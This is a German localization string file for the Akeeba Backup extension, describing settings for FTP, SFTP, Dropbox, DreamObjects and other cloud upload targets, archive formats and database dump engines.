COM_AKEEBABACKUP_CONFIG_DESKTOP_NOTIFICATIONS_DESC="Sollen Sie gefragt werden, ob Desktop-Benachrichtigungen angezeigt werden dürfen? Desktop-Benachrichtigungen erscheinen, wenn das Backup startet, endet, eine Warnung auslöst oder anhält. Sie werden nur auf kompatiblen Browsern angezeigt (typischerweise: Chrome, Safari, Firefox, Opera), wenn Sie Akeeba Backup die Berechtigung erteilen, Desktop-Benachrichtigungen anzuzeigen, wenn Sie auf der Kontrollzentrum-Seite dazu aufgefordert werden. Diese Option kontrolliert nur, ob diese Aufforderung angezeigt werden soll. Sobald Sie die Berechtigungen für Desktop-Benachrichtigungen akzeptiert oder abgelehnt haben, hat diese Einstellung <strong>keine Wirkung</strong> mehr. Die einzige Möglichkeit, Desktop-Benachrichtigungen zu aktivieren oder zu deaktivieren, ist über die Einstellungen Ihres Browsers."
COM_AKEEBABACKUP_CONFIG_DESKTOP_NOTIFICATIONS_LABEL="Um Berechtigungen für Desktop-Benachrichtigungen bitten"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_FTPS_DESCRIPTION="Wenn aktiviert, versucht Akeeba Backup, eine Verbindung zu Ihrem FTP-Server über eine SSL-verschlüsselte Verbindung herzustellen. <strong>Dies ist nicht dasselbe wie SFTP, SCP oder \"Secure FTP\"!</strong> Beachten Sie, dass Sie Verbindungsfehler erhalten, wenn Ihr Server diese Methode nicht unterstützt."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_FTPS_TITLE="FTP über SSL (FTPS) verwenden"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_HOST_DESCRIPTION="Hostname des FTP-Servers, ohne das Protokoll. Das bedeutet, dass <code>ftp://example.com</code> <strong>ungültig</strong> ist und <code>example.com</code> gültig ist. Akeeba Backup unterstützt nur FTP- und FTPS-Server. Es unterstützt <u>kein</u> SFTP, SCP und andere SSH-Varianten."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_HOST_TITLE="Hostname"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_INITDIR_DESCRIPTION="Der absolute <strong>FTP</strong>-Pfad zum Verzeichnis, in das die Dateien hochgeladen werden. Falls Sie unsicher sind, verbinden Sie sich mit FileZilla mit Ihrem Server, navigieren Sie zum gewünschten Verzeichnis und kopieren Sie den Pfad, der im rechten Bereich über der Verzeichnisliste angezeigt wird. Es ist normalerweise kurz, wie z. B. <code>/public_html</code>."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_INITDIR_TITLE="Anfangsverzeichnis"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSIVE_DESCRIPTION="Verwenden Sie den FTP-Passivmodus bei der Datenübertragung. Dies ist standardmäßig aktiviert, da es die einzige Methode ist, die durch Firewalls funktioniert, die auf Webservern häufig installiert sind. Deaktivieren Sie dies nicht, es sei denn, Sie sind sicher, dass Ihr Webserver nicht hinter einer Firewall steht und Ihr FTP-Server den aktiven Modus für Dateiübertragungen unbedingt erfordert."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSIVE_TITLE="Passivmodus verwenden"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSWORD_DESCRIPTION="Passwort des FTP-Servers. Es ist normalerweise Groß-/Kleinschreibung-sensitiv. Falls unsicher, wenden Sie sich bitte an Ihren Netzwerkadministrator."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSWORD_TITLE="Passwort"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PORT_DESCRIPTION="Port des FTP-Servers. Die gebräuchlichste Einstellung ist 21. Falls unsicher, wenden Sie sich bitte an Ihren Netzwerkadministrator."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PORT_TITLE="Port"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_DESCRIPTION="Verwenden Sie diese Schaltfläche, um die FTP-Verbindung zu testen und Verbindungsfehler bei einem Fehler anzuzeigen."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_FAIL="Verbindung zum Remote-FTP-Server konnte nicht hergestellt werden."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_OK="Verbindung zum Remote-FTP-Server wurde erfolgreich hergestellt!"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_TITLE="FTP-Verbindung testen"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_USER_DESCRIPTION="Benutzername des FTP-Servers. Er ist normalerweise Groß-/Kleinschreibung-sensitiv. Falls unsicher, wenden Sie sich bitte an Ihren Netzwerkadministrator."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_USER_TITLE="Benutzername"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_HOST_DESCRIPTION="Bitte geben Sie den Hostnamen oder die IP-Adresse Ihres SFTP-Servers ein"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_HOST_TITLE="Hostname"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_INITDIR_DESCRIPTION="Bitte geben Sie das Verzeichnis ein, in das die Dateien hochgeladen werden sollen. Falls Sie unsicher sind, verwenden Sie einen SFTP-Desktop-Client, verbinden Sie sich mit Ihrem Server, navigieren Sie zum gewünschten Verzeichnis und kopieren Sie den hier angezeigten Pfad. Der Pfad muss im absoluten Format angegeben werden, z. B. /users/meinbenutzername/public_html"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_INITDIR_TITLE="Anfangsverzeichnis"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PASSWORD_DESCRIPTION="Das SFTP-Passwort"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PASSWORD_TITLE="Passwort"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PORT_DESCRIPTION="Der übliche Port für SFTP-Verbindungen ist 22. Wenn Ihr Server einen anderen Port verwendet, geben Sie ihn hier ein."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PORT_TITLE="Port"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_DESCRIPTION="Verwenden Sie diese Schaltfläche, um die SFTP-Verbindung zu testen und Verbindungsfehler bei einem Fehler anzuzeigen."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_FAIL="Verbindung zum Remote-SFTP-Server konnte nicht hergestellt werden. Die Fehlermeldung lautete:"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_OK="Erfolgreich mit dem Remote-SFTP-Server verbunden. Hinweis: Die Einstellung für das Anfangsverzeichnis wurde nicht getestet."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_TITLE="SFTP-Verbindung testen"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_USER_DESCRIPTION="Der SFTP-Benutzername. Bitte beachten Sie, dass Ihr SFTP-Server Benutzername/Passwort-Authentifizierung erlauben muss."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_USER_TITLE="Benutzername"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSACCESSKEY_DESCRIPTION="Ihr DreamObjects-Zugriffsschlüssel, der Ihnen im DreamHost-Kontrollbereich zur Verfügung gestellt wird"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSACCESSKEY_TITLE="Zugriffsschlüssel"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSBUCKET_DESCRIPTION="Ihr DreamObjects-Bucket-Name. Stellen Sie sicher, dass er genau so eingegeben wird, wie er im DreamHost-Kontrollbereich angezeigt wird"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSBUCKET_TITLE="Bucket"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSDIRECTORY_DESCRIPTION="Das Verzeichnis in Ihrem Bucket, in dem die Backup-Archive gespeichert werden. Lassen Sie es leer, um Dateien im Stammverzeichnis des Buckets zu speichern."
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSDIRECTORY_TITLE="Verzeichnis"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSLOWERCASE_DESCRIPTION="Wenn aktiviert, versucht Akeeba Backup, den Bucket-Namen in Kleinbuchstaben umzuwandeln, d. h. MeinBucket wird in meinbucket umgewandelt. Wenn Sie einen Bucket mit Großbuchstaben erstellt haben, z. B. MeinNeuerBucket, deaktivieren Sie diese Option und stellen Sie sicher, dass der Bucket-Name genau so eingegeben wird, wie er in Ihrem DreamHost-Kontrollbereich erscheint."
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSLOWERCASE_TITLE="Bucket-Name in Kleinbuchstaben"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSSECRETKEY_DESCRIPTION="Ihr DreamObjects-Geheimschlüssel, der Ihnen im DreamHost-Kontrollbereich zur Verfügung gestellt wird"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSSECRETKEY_TITLE="Geheimschlüssel"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSUSESSL_DESCRIPTION="Wenn aktiviert, wird beim Hochladen Ihrer Dateien eine sichere (HTTPS) Verbindung verwendet. Dies erhöht zwar die Sicherheit der übertragenen Daten, erhöht aber auch die Möglichkeit eines Backup-Fehlers aufgrund von Zeitüberschreitung."
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSUSESSL_TITLE="SSL verwenden"
COM_AKEEBABACKUP_CONFIG_DROPBOXDIRECTORY_DESCRIPTION="Das Verzeichnis in Ihrem Dropbox-Konto, in dem die Backup-Archive gespeichert werden. Lassen Sie es leer, um Dateien im Stammverzeichnis zu speichern."
COM_AKEEBABACKUP_CONFIG_DROPBOXDIRECTORY_TITLE="Verzeichnis"
COM_AKEEBABACKUP_CONFIG_DROPBOXREFRESHTOKEN_DESCRIPTION="Dies ist der Aktualisierungstoken, der Akeeba Backup mit Dropbox verbindet. Er ist <strong>standortspezifisch</strong> und wird verwendet, um die Dropbox-Verbindung neu zu autorisieren, wenn der kurzlebige Zugriffstoken abläuft. Wenn Sie mehrere Websites haben, müssen Sie die Schaltflächen für Schritt 1 auf jeder einzelnen Website verwenden, die Sie autorisieren möchten. Bitte kopieren Sie den Zugriffs- oder Aktualisierungstoken <strong>NICHT</strong> auf mehrere Websites. Dies führt dazu, dass die Dropbox-Authentifizierung nicht mehr synchron ist und Sie alle Ihre Websites neu mit Dropbox verbinden müssen."
COM_AKEEBABACKUP_CONFIG_DROPBOXREFRESHTOKEN_TITLE="Aktualisierungstoken"
COM_AKEEBABACKUP_CONFIG_DROPBOXTOKEN_DESCRIPTION="Dieser wird automatisch von Dropbox abgerufen, wenn Sie auf die Schaltfläche Schritt 2 oben klicken. Wenn Sie mehrere Websites haben, müssen Sie die Schaltflächen für Schritt 1 und Schritt 2 nur auf der ERSTEN Website verwenden, die Sie autorisieren möchten. Kopieren Sie dann bitte das Token, den Token-Geheimschlüssel und die Benutzer-ID von der ersten Website auf alle anderen Websites, die Sie mit Dropbox verbinden möchten."
COM_AKEEBABACKUP_CONFIG_DROPBOXTOKEN_TITLE="Zugriffstoken"
COM_AKEEBABACKUP_CONFIG_DROPBOX_TEAM_DESC="Aktivieren Sie dies, wenn Sie Mitglied eines Teams sind, das Dropbox for Business verwendet, und den Ordner Ihres Teams zum Speichern von Backups verwenden möchten. Denken Sie daran, das unten stehende Verzeichnis mit dem Namen Ihres Team-Ordners zu versehen. Wenn die Web-Oberfläche von Dropbox beispielsweise einen \"Acme Corp Team-Ordner\" auf der Dateienseite anzeigt und Sie Ihre Backups in einem Ordner namens \"Backups\" darin ablegen möchten, sollten Sie den Verzeichnisnamen <code>Acme Corp Team-Ordner/Backups</code> verwenden, nicht nur <code>Backups</code>."
COM_AKEEBABACKUP_CONFIG_DROPBOX_TEAM_TITLE="Dropbox for Business"
COM_AKEEBABACKUP_CONFIG_DUMPENGINE_DESCRIPTION="Definiert, wie Akeeba Backup Ihre Datenbank(en) verarbeitet, um eine Datenbank-Backup-Datei zu erstellen."
COM_AKEEBABACKUP_CONFIG_DUMPENGINE_TITLE="Datenbank-Backup-Engine"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_COMMON="Allgemeine Einstellungen"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_MYSQL="MySQL-Einstellungen"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_POSTGRES="PostgreSQL-Einstellungen"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_REVERSE="Einstellungen für Reverse-Engineering-Datenbank-Dump"
COM_AKEEBABACKUP_CONFIG_PGDUMP_PATH_DESCRIPTION="Der absolute Dateisystempfad zum pg_dump-Befehlszeilenprogramm auf Ihrem Server. Wenn leer gelassen, versucht Akeeba Backup, ihn automatisch zu erkennen."
COM_AKEEBABACKUP_CONFIG_PGDUMP_PATH_TITLE="Pfad zu pg_dump"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_DESCRIPTION="Überträgt die Website-Dateien auf einen Remote-FTP-Server, ohne sie vorher zu archivieren. Diese Archivierungsengine verwendet die cURL-Bibliothek, die eine bessere Kompatibilität mit einer Vielzahl von FTP-Servern bietet."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_PASVWORKAROUND_DESCRIPTION="Einige schlecht konfigurierte oder falsch funktionierende FTP-Server geben die falsche IP-Adresse zurück, wenn der FTP-Passivmodus aktiviert ist. Aktivieren Sie diese Option, um die FTP-Bibliothek zu zwingen, die falsche IP des FTP-Servers zu ignorieren und stattdessen die öffentliche IP des FTP-Servers zu verwenden."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_PASVWORKAROUND_TITLE="Passivmodus-Workaround"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_TITLE="DirectFTP über cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTP_DESCRIPTION="Überträgt die Website-Dateien auf einen Remote-FTP-Server, ohne sie vorher zu archivieren"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTP_TITLE="DirectFTP"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTPCURL_DESCRIPTION="Überträgt die Website-Dateien auf einen Remote-SFTP-Server, ohne sie vorher zu archivieren. Diese Archivierungsengine verwendet die cURL-Bibliothek, die eine bessere Kompatibilität mit einer Vielzahl von FTP-Servern bietet."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTPCURL_TITLE="DirectSFTP über cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTP_DESCRIPTION="Überträgt die Website-Dateien auf einen Remote-SFTP-Server, ohne sie vorher zu archivieren. WARNUNG: Ihr Quellserver muss die PHP SSL2-Erweiterung installiert haben."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTP_TITLE="DirectSFTP"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPA_DESCRIPTION="Ein Open-Source-Archivformat, das für eine schnelle Archivierung und Extraktion mit PHP-Code optimiert ist"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPA_TITLE="JPA-Format (empfohlen)"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPS_DESCRIPTION="Erstellt mit der branchenüblichen AES-128-Verschlüsselungsmethode verschlüsselte Archive, in einem Format, das JPA sehr ähnlich ist. Erfordert, dass entweder die PHP-Erweiterung mcrypt oder openssl auf Ihrer Website installiert und aktiviert ist."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPS_TITLE="Verschlüsselte Archive (JPS)"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIPNATIVE_DESCRIPTION="Das ZIP-Archiv wird mit der PHP-ZipArchive-Klasse erstellt. WICHTIG: Diese Engine unterstützt keine Archivaufteilung oder Symlink-Verarbeitung und kann daher zu Backup-Problemen führen. Wenn Sie Zeitüberschreitungsfehler, AJAX-Fehler oder Interne-Server-Fehler-Meldungen erhalten, müssen Sie zu einer anderen Archivierungsengine wechseln und die Archivaufteilung aktivieren."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIPNATIVE_TITLE="ZIP mit ZipArchive-Klasse"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIP_DESCRIPTION="Standard-ZIP-Dateien, auch bekannt als \"Komprimierte Ordner\", nativ unterstützt von allen führenden Betriebssystemen"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIP_TITLE="ZIP-Format"
COM_AKEEBABACKUP_CONFIG_ENGINE_DUMP_NATIVE_DESCRIPTION="Verwendet PHP-Code, um einen genauen Datenbank-Dump zu erstellen"
COM_AKEEBABACKUP_CONFIG_ENGINE_DUMP_NATIVE_TITLE="Natives MySQL-Backup-Engine"
COM_AKEEBABACKUP_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE="Backup bei Upload-Fehler fehlschlagen lassen"
COM_AKEEBABACKUP_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION="Stoppt den Backup-Prozess sofort und markiert ihn als fehlgeschlagen, wenn ein Upload-Fehler auftritt. <strong>Diese Option kann irreführend und gefährlich sein.</strong> Sie könnten ein vollständiges, gültiges Backup haben, das beim Hochladen ganz oder teilweise fehlgeschlagen ist. Wenn Sie diese Option aktivieren, werden die verbleibenden Backup-Archivdateien von Ihrem Server entfernt und alle (teilweise) in den Remote-Speicher hochgeladenen Archivdateien hinterlassen. Mit anderen Worten: Sie haben kein funktionierendes Backup mehr. Es gibt nur sehr wenige Anwendungsfälle, in denen dies sinnvoller ist als das Standardverhalten, das Ihnen ermöglicht, das Hochladen der Backup-Archivdatei über die Sicherungsverwaltungsseite fortzusetzen. Daher empfehlen wir dringend, diese Option nur von erfahrenen Benutzern zu aktivieren, die die Auswirkungen vollständig verstehen."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_AZURE_DESCRIPTION="Lädt das Backup-Archiv in Microsoft Windows Azure BLOB Storage hoch."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_AZURE_TITLE="In Microsoft Windows Azure BLOB Storage hochladen"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BACKBLAZE_DESCRIPTION="Lädt das Backup-Archiv zu BackBlaze hoch."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BACKBLAZE_TITLE="Zu BackBlaze B2 hochladen"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BOX_DESCRIPTION="Lädt das Backup-Archiv zu Box.com hoch. Bitte lesen Sie die Dokumentation."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BOX_TITLE="Zu Box.com hochladen"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDFILES_DESCRIPTION="Lädt das Backup-Archiv zu RackSpace CloudFiles hoch.<br/><strong>Denken Sie daran, eine Größe für geteilte Archive von 2-30 MB einzustellen, sonst riskieren Sie Backup-Fehler durch Zeitüberschreitungen!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDFILES_TITLE="Zu RackSpace CloudFiles hochladen"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDME_DESCRIPTION="Lädt das Backup-Archiv zu CloudMe hoch.<br/><strong>Denken Sie daran, eine Größe für geteilte Archive von 2-30 MB einzustellen, sonst riskieren Sie Backup-Fehler durch Zeitüberschreitungen!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDME_TITLE="Zu CloudMe hochladen"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DREAMOBJECTS_DESCRIPTION="Lädt das Backup-Archiv zu DreamObjects hoch.<br/><strong>Denken Sie daran, eine Größe für geteilte Archive von 2-30 MB einzustellen, sonst riskieren Sie Backup-Fehler durch Zeitüberschreitungen!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DREAMOBJECTS_TITLE="Zu DreamObjects hochladen"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DROPBOX2_DESCRIPTION="Lädt das Backup-Archiv zu Dropbox hoch und verwendet dabei die Dropbox V2 API. Diese API ist schneller und ermöglicht es Ihnen, Ihr Dropbox-Konto einfach mit mehreren Websites zu verbinden."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DROPBOX2_TITLE="Zu Dropbox hochladen (v2 API)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_EMAIL_DESCRIPTION="Sendet Ihnen das Backup-Archiv als E-Mail-Anhang.<br/><strong>Denken Sie daran, eine Größe für geteilte Archive von 1-2 MB einzustellen, sonst riskieren Sie Backup-Fehler durch Zeitüberschreitungen und Speichermangel!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_EMAIL_TITLE="Per E-Mail senden"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTPCURL_DESCRIPTION="Lädt das Backup-Archiv auf einen Remote-FTP- oder FTPS-Server (FTP über Implicit SSL) hoch.<br/>Diese Nachbearbeitungsengine verwendet die cURL-Bibliothek, die eine bessere Kompatibilität mit einer Vielzahl von FTP-Servern bietet.<br/><strong>Denken Sie daran, eine Größe für geteilte Archive von 2-30 MB einzustellen, sonst riskieren Sie Backup-Fehler durch Zeitüberschreitungen!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTPCURL_TITLE="Auf Remote-FTP-Server mit cURL hochladen"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTP_DESCRIPTION="Lädt das Backup-Archiv auf einen Remote-FTP- oder FTPS-Server (FTP über Implicit SSL) hoch.<br/><strong>Denken Sie daran, eine Größe für geteilte Archive von 2-30 MB einzustellen, sonst riskieren Sie Backup-Fehler durch Zeitüberschreitungen!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTP_TITLE="Auf Remote-FTP-Server hochladen"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLEDRIVE_DESCRIPTION="Lädt das Backup-Archiv auf Google Drive hoch. Bitte lesen Sie die Dokumentation."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLEDRIVE_TITLE="Auf Google Drive hochladen"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGEJSON_DESCRIPTION="Lädt das Backup-Archiv in Google Storage hoch und verwendet dabei die moderne JSON API. Dies ist die empfohlene Integration mit Google Storage.<br/><strong>Denken Sie daran, eine Größe für geteilte Archive von 2-30 MB einzustellen, sonst riskieren Sie Backup-Fehler durch Zeitüberschreitungen!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGEJSON_TITLE="In Google Storage hochladen (JSON API)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGE_DESCRIPTION="Lädt das Backup-Archiv in Google Storage hoch und verwendet dabei die ältere S3 API-Emulation. Dies ist veraltet und wird in Zukunft entfernt. Bitte verwenden Sie stattdessen die JSON API-Option.<br/><strong>Denken Sie daran, eine Größe für geteilte Archive von 2-30 MB einzustellen, sonst riskieren Sie Backup-Fehler durch Zeitüberschreitungen!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGE_TITLE="In Google Storage hochladen (Legacy S3 API)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_IDRIVESYNC_DESCRIPTION="Lädt das Backup-Archiv zu iDriveSync EVS (iDriveSync.com) hoch.<br/><strong>Denken Sie daran, eine Größe für geteilte Archive von 2-30 MB einzustellen, sonst riskieren Sie Backup-Fehler durch Zeitüberschreitungen!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_IDRIVESYNC_TITLE="Zu iDriveSync hochladen"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_NONE_DESCRIPTION="Lässt die Backup-Archivdateien auf dem Server"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_NONE_TITLE="Keine Nachbearbeitung"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEBUSINESS_DESCRIPTION="Lädt das Backup-Archiv auf Microsoft OneDrive oder Microsoft OneDrive for Business hoch."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEBUSINESS_TITLE="Auf Microsoft OneDrive oder OneDrive for Business hochladen"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVE_DESCRIPTION="Lädt das Backup-Archiv auf Microsoft OneDrive hoch. Dies unterstützt nur persönliche Laufwerke, die mit Ihrem persönlichen Microsoft-Konto erstellt wurden. Es unterstützt kein OneDrive for Business und keine OneDrive-Konten, die über ein Schul-/Arbeitskonto oder ein Microsoft Office 365-Abonnement erstellt wurden. Diese Upload-Methode wird in einer zukünftigen Version von Akeeba Backup ENTFERNT. Verwenden Sie stattdessen die Methode „Auf Microsoft OneDrive hochladen"."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVE_TITLE="Auf Microsoft OneDrive hochladen (LEGACY)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_OVH_DESCRIPTION="Lädt das Backup-Archiv in den OVH Object Storage hoch. <br/><strong>Denken Sie daran, eine Größe für geteilte Archive von 2-30 MB einzustellen, sonst riskieren Sie Backup-Fehler durch Zeitüberschreitungen!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_OVH_TITLE="In OVH Object Storage hochladen"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_PCLOUD_DESCRIPTION="Lädt das Backup-Archiv zu pCloud hoch. DIESE NACHBEARBEITUNGSENGINE WIRD ENTFERNT. AUTHENTIFIZIERUNG FUNKTIONIERT NICHT AUFGRUND VON PROBLEMEN AUF DEM pCloud API-SERVER."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_PCLOUD_TITLE="Zu pCloud hochladen (NICHT VERWENDEN - WIRD ENTFERNT)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_S3_DESCRIPTION="Lädt das Backup-Archiv zu Amazon S3 hoch. Es ermöglicht Ihnen, sowohl die neue (AWS4)-Authentifizierung, die für neuere S3-Standorte erforderlich ist, als auch die alte (AWS2)-Authentifizierung zu verwenden, die für Drittanbieter-Speicheranbieter erforderlich ist, die eine S3-kompatible API anbieten.<br/><strong>Wenn Sie mehrteilige Uploads deaktivieren, denken Sie daran, eine Größe für geteilte Archive von 2-30 MB einzustellen, sonst riskieren Sie Backup-Fehler durch Zeitüberschreitungen!</strong><br/>Wenn Sie Amazon STS anstelle eines Zugriffs- und Geheimschlüssels verwenden möchten, lesen Sie bitte die Dokumentation."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_S3_TITLE="Zu Amazon S3 hochladen"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTPCURL_DESCRIPTION="Lädt das Backup-Archiv auf einen Remote-SFTP (SSH)-Server hoch. Dies ist eine Dateiübertragung über SSH mit einem Protokoll namens SFTP, das sich <em>völlig</em> von FTP und FTPS unterscheidet.<br/>Diese Nachbearbeitungsengine verwendet cURL für die Datenübertragung, eine Bibliothek, die mit einer Vielzahl von SFTP-Servern kompatibel ist.<br/><strong>Denken Sie daran, eine Größe für geteilte Archive von 2-30 MB einzustellen, sonst riskieren Sie Backup-Fehler durch Zeitüberschreitungen!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTPCURL_TITLE="Auf Remote-SFTP (SSH)-Server mit cURL hochladen"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTP_DESCRIPTION="Lädt das Backup-Archiv auf einen Remote-SFTP (SSH)-Server hoch. Dies ist eine Dateiübertragung über SSH mit einem Protokoll namens SFTP, das sich <em>völlig</em> von FTP und FTPS unterscheidet.<br/><strong>Denken Sie daran, eine Größe für geteilte Archive von 2-30 MB einzustellen, sonst riskieren Sie Backup-Fehler durch Zeitüberschreitungen!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTP_TITLE="Auf Remote-SFTP (SSH)-Server hochladen"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SUGARSYNC_DESCRIPTION="Lädt das Backup-Archiv zu SugarSync hoch.<br/><strong>Denken Sie daran, eine Größe für geteilte Archive von 2-30 MB einzustellen, sonst riskieren Sie Backup-Fehler durch Zeitüberschreitungen!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SUGARSYNC_TITLE="Zu SugarSync hochladen"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SWIFT_DESCRIPTION="Lädt das Backup-Archiv auf jeden OpenStack Swift-Objektspeicherserver hoch, z. B. einen, der mit der Ubuntu-Distribution von OpenStack oder anderen privaten Clouds erstellt wurde. Verwenden Sie diese Methode NICHT mit RackSpace CloudFiles! CloudFiles verwendet eine benutzerdefinierte Authentifizierungsmethode, die mit dem Keystone-Identitätsdienst von OpenStack (den buchstäblich jede andere OpenStack-Implementierung verwendet) inkompatibel ist.<br/><strong>Denken Sie daran, eine Größe für geteilte Archive von 2-30 MB einzustellen, sonst riskieren Sie Backup-Fehler durch Zeitüberschreitungen!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SWIFT_TITLE="In OpenStack Swift-Objektspeicher hochladen"
